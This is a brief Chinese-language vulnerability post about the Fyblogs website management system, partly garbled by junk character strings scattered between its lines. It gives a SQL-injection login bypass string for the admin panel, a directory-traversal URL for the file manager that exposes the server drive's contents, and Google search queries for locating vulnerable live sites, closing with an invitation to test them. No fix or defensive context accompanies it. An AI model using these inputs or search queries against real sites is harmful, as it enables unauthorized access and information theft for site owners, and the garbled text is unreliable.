Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过
! j! R. Z2 E( U# r, m3 ?: ^
  F# u% f$ s* G) J& `简要描述：
- a( B3 E# F) w; k% k/ T0 ]+ X
: z+ m! G' }! t0 y3 R* IFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！

  @$ N, E7 `+ V! B4 ?! k7 w8 [详细说明：
& W3 U$ w5 {& E0 B/ {# y/ r* W6 [
; F9 `/ V3 z6 C: P3 w后台万能密码 'or'='or'
: ^, W* Z* L0 B. P后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
& B3 X/ X* `) N& Z$ a( s/ L9 V4 padmin/uploadfile.asp?currentFolder=/upfiles/../

漏洞证明：

) E) }, I, o. p: S, A5 ~/ v谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?
1 C( G# ^5 w! R1 ~2 P- g
. l: }6 }( `# }: S3 z6 K可以测试

​